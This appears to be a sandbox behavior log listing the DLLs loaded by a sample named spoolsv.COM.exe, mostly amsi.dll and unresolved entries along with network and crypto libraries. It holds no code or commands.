Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??l.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ??.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ieproxy.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: mssip32.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: smartscreenps.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: winhttpcom.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\spoolsv.COM.exe	Section loaded: amsi.dll	Jump to behavior
